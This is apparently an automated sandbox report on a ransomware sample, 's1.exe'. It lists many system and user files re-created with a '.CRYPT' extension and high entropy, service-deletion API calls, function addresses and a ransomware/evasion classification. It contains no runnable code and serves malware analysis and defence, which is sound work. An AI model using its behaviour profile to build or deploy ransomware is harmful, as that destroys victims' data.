Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe.CRYPT entropy: 7.99911597599Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe.CRYPT entropy: 7.99957295287Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Network\Downloader\edb.log.CRYPT entropy: 7.99998812908Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log.CRYPT entropy: 7.99986395057Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db.CRYPT entropy: 7.99998029431Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.log.CRYPT entropy: 7.9972065718Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb00001.log.CRYPT entropy: 7.99734788813Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbtmp.log.CRYPT entropy: 7.99729821657Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.CRYPT entropy: 7.99968582069Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\User Account Pictures\user.bmp.CRYPT entropy: 7.99971974104Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Windows\AppxProvisioning.xml.CRYPT entropy: 7.99046438966Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db.CRYPT entropy: 7.99878301966Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat.bak.CRYPT entropy: 7.99976490256Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db.CRYPT entropy: 7.99965055048Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\IdentityCRL\production\wlidsvcconfig.xml.CRYPT entropy: 7.99835632091Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.CRYPT entropy: 7.99998120955Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.CRYPT entropy: 7.99990815916Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe.CRYPT entropy: 7.99864439969Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini.CRYPT entropy: 7.99481786637Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Provisioning\Microsoft-Desktop-Provisioning-Sequence.dat.CRYPT entropy: 7.99996192262Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\customizations.xml.CRYPT entropy: 7.99970853455Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\Prov\RunTime.xml.CRYPT entropy: 7.99961146066Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Provisioning\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\customizations.xml.CRYPT entropy: 7.9968018578Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe.CRYPT entropy: 7.99995964685Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe.CRYPT entropy: 7.99995598836Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe.CRYPT entropy: 7.99997401892Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe.CRYPT entropy: 7.99995085273Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe.CRYPT entropy: 7.99996617399Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe.CRYPT entropy: 7.99996076782Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db.CRYPT entropy: 7.99946677469Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000003.db.CRYPT entropy: 7.99992944687Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.CRYPT entropy: 7.99996485054Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\KeyHolder\61afd6a2-d7c3-8d25-36c2-0c2c47e3aca8.xml.CRYPT entropy: 7.99088566377Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-75AA7CADA49CCFA36E050EBC1592844DDD43B44E.bin.CRYPT entropy: 7.99999761711Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-75AA7CADA49CCFA36E050EBC1592844DDD43B44E.bin.CE.CRYPT entropy: 7.9993848051Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml.CRYPT entropy: 7.99852024517Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\Default\NTUSER.DAT.CRYPT entropy: 7.99933097074Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat.CRYPT entropy: 7.99922506824Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin.CRYPT entropy: 7.99737085086Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Temp\ArmUI.ini.CRYPT entropy: 7.9993369673Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Temp\chrome_installer.log.CRYPT entropy: 7.99842043557Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Temp\CR_8F2A8.tmp\setup.exe.CRYPT entropy: 7.99992434631Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Temp\JSAMSIProvider32.dll.CRYPT entropy: 7.99963660799Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Temp\JSAMSIProvider64.dll.CRYPT entropy: 7.9997304148Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Temp\SetupExe(202007230953501D8).log.CRYPT entropy: 7.99930482018Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.CRYPT entropy: 7.99342026979Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT.CRYPT entropy: 7.99908273656Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\1033\StructuredQuerySchema.bin.CRYPT entropy: 7.99956238172Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db.CRYPT entropy: 7.99710590544Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db.CRYPT entropy: 7.99745723402Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.CRYPT entropy: 7.99995412411Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.CRYPT entropy: 7.99996161544Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.CRYPT entropy: 7.99995748174Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.CRYPT entropy: 7.99995903004Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.CRYPT entropy: 7.9979779162Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.CRYPT entropy: 7.99995978252Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.CRYPT entropy: 7.99994131852Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.CRYPT entropy: 7.99995700306Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.CRYPT entropy: 7.99995489922Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.CRYPT entropy: 7.9979690731Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\MSIMGSIZ.DAT.CRYPT entropy: 7.99961350737Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\SmartScreenCache.dat.CRYPT entropy: 7.99857789094Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.CRYPT entropy: 7.99995282565Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml.CRYPT entropy: 7.99954230303Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V010000A.log.CRYPT entropy: 7.99989287954Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V010000B.log.CRYPT entropy: 7.99991328381Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V010000C.log.CRYPT entropy: 7.99991198558Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.CRYPT entropy: 7.99973983401Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\UrlBlock\urlblock_637194112741176080.bin.CRYPT entropy: 7.99494178385Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\VersionManager\versionlist.xml.CRYPT entropy: 7.99647479364Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-150.png.CRYPT entropy: 7.99019144441Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-200.png.CRYPT entropy: 7.9908900393Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-400.png.CRYPT entropy: 7.99595318558Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2019-06-27_102023_125c-c90.log.CRYPT entropy: 7.99789708321Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2019-06-27_172244_4980-3048.log.CRYPT entropy: 7.9952754094Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2020-07-23_165322_5816-5812.log.CRYPT entropy: 7.99554898602Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2020-07-27_071441_bc8-bd0.log.CRYPT entropy: 7.99790338857Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2020-09-30_080159_c40-12d4.log.CRYPT entropy: 7.99780887028Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2019-06-27_172300_6208-6360.log.CRYPT entropy: 7.9906668864Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat.CRYPT entropy: 7.99253681526Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-400.png.CRYPT entropy: 7.99120392566Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-22_195254_5092-5000.log.CRYPT entropy: 7.99630054232Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-23_165240_5300-5304.log.CRYPT entropy: 7.99768013808Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-27_141423_5924-5928.log.CRYPT entropy: 7.99591615318Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2019-06-27_102023_cd4-fc0.log.CRYPT entropy: 7.99983975689Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2019-06-27_172258_392-396.log.CRYPT entropy: 7.99942158862Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2020-07-23_165335_5620-5612.log.CRYPT entropy: 7.99955119986Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2020-07-27_071441_17bc-17b8.log.CRYPT entropy: 7.99782259794Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2020-09-30_080200_1598-1674.log.CRYPT entropy: 7.99815088023Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2020-07-27_071441_12fc-160c.log.CRYPT entropy: 7.99852042679Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2020-09-30_080200_fb8-16ac.log.CRYPT entropy: 7.99769774695Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\Settings\settings.dat.CRYPT entropy: 7.99015500583Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\Settings\settings.dat.CRYPT entropy: 7.99099780625Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AppData\Indexed DB\edb.log.CRYPT entropy: 7.99984769916Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log.CRYPT entropy: 7.99965021633Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.CRYPT entropy: 7.99993287047Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\craw_background.js.CRYPT entropy: 7.99984123121Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\craw_window.js.CRYPT entropy: 7.99924968611Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\angular.js.CRYPT entropy: 7.99972797812Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\cast_sender.js.CRYPT entropy: 7.99653564436Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\common.js.CRYPT entropy: 7.99548431524Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\GameDVR\KnownGameList.bin.CRYPT entropy: 7.99959852454Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\Last Active\{C10454D4-032C-11EB-90E3-ECF4BB862DED}.dat.CRYPT entropy: 7.99087918498Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\Last Active\{C10454D5-032C-11EB-90E3-ECF4BB862DED}.dat.CRYPT entropy: 7.99880671736Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{1451C5E2-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.CRYPT entropy: 7.99960172649Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000016.db.CRYPT entropy: 7.99850236146Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000018.db.CRYPT entropy: 7.99820127828Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000019.db.CRYPT entropy: 7.99822169869Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.3.ver0x0000000000000001.db.CRYPT entropy: 7.99934394836Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.CRYPT entropy: 7.99838913573Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.CRYPT entropy: 7.99840611732Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.CRYPT entropy: 7.9995668357Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat.CRYPT entropy: 7.99736653326Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat.CRYPT entropy: 7.9965591984Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\eventpage_bin_prod.js.CRYPT entropy: 7.99738161065Jump to dropped file
Source: C:\Users\user\Desktop\s1.exeProcess Stats: CPU usage > 98%
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB1C80 OpenSCManagerA,OpenServiceA,CloseServiceHandle,DeleteService,SetServiceStatus,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,0_2_00AB1C80
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABA8B00_2_00ABA8B0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC40800_2_00AC4080
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABE8F00_2_00ABE8F0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AD40F00_2_00AD40F0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB90300_2_00AB9030
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABF8300_2_00ABF830
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AEA8000_2_00AEA800
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ACA0100_2_00ACA010
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AD90700_2_00AD9070
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AD605D0_2_00AD605D
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC28500_2_00AC2850
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABE1E00_2_00ABE1E0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABD1E00_2_00ABD1E0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC41C00_2_00AC41C0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABD9D90_2_00ABD9D9
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC21000_2_00AC2100
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AE91000_2_00AE9100
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABD9600_2_00ABD960
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB91600_2_00AB9160
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ACA17E0_2_00ACA17E
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABB9400_2_00ABB940
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABB2D70_2_00ABB2D7
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABA2300_2_00ABA230
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00B902710_2_00B90271
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABCA700_2_00ABCA70
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABC2400_2_00ABC240
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABDBA00_2_00ABDBA0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABE3800_2_00ABE380
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC6B800_2_00AC6B80
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABCB300_2_00ABCB30
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB93100_2_00AB9310
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC83400_2_00AC8340
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABFCB10_2_00ABFCB1
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABFCB00_2_00ABFCB0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB8CC00_2_00AB8CC0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC3CD00_2_00AC3CD0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC2C000_2_00AC2C00
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB9C400_2_00AB9C40
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC9C500_2_00AC9C50
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABCD900_2_00ABCD90
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABD5F00_2_00ABD5F0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC15290_2_00AC1529
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB96B00_2_00AB96B0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC0E860_2_00AC0E86
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AE96900_2_00AE9690
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABE6E10_2_00ABE6E1
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABE6E00_2_00ABE6E0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABDEC00_2_00ABDEC0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AD96500_2_00AD9650
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AD4FA00_2_00AD4FA0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABFF800_2_00ABFF80
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABCFE00_2_00ABCFE0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC17E00_2_00AC17E0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABD7D00_2_00ABD7D0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABBFD00_2_00ABBFD0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ABAF300_2_00ABAF30
Source: C:\Users\user\Desktop\s1.exeCode function: String function: 00B90838 appears 40 times
Source: C:\Users\user\Desktop\s1.exeCode function: String function: 00B8BB10 appears 118 times
Source: C:\Users\user\Desktop\s1.exeCode function: String function: 00AC3490 appears 99 times
Source: unknownProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 568 -p 3388 -ip 3388
Source: s1.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: classification engineClassification label: mal80.rans.spre.evad.winEXE@8/1093@0/0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB2130 StartServiceCtrlDispatcherA,0_2_00AB2130
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB2130 StartServiceCtrlDispatcherA,0_2_00AB2130
Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ThumbCacheToDeleteJump to behavior
Source: C:\Windows\System32\WerFault.exeMutant created: \BaseNamedObjects\Local\SM0:3560:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1844:120:WilError_01
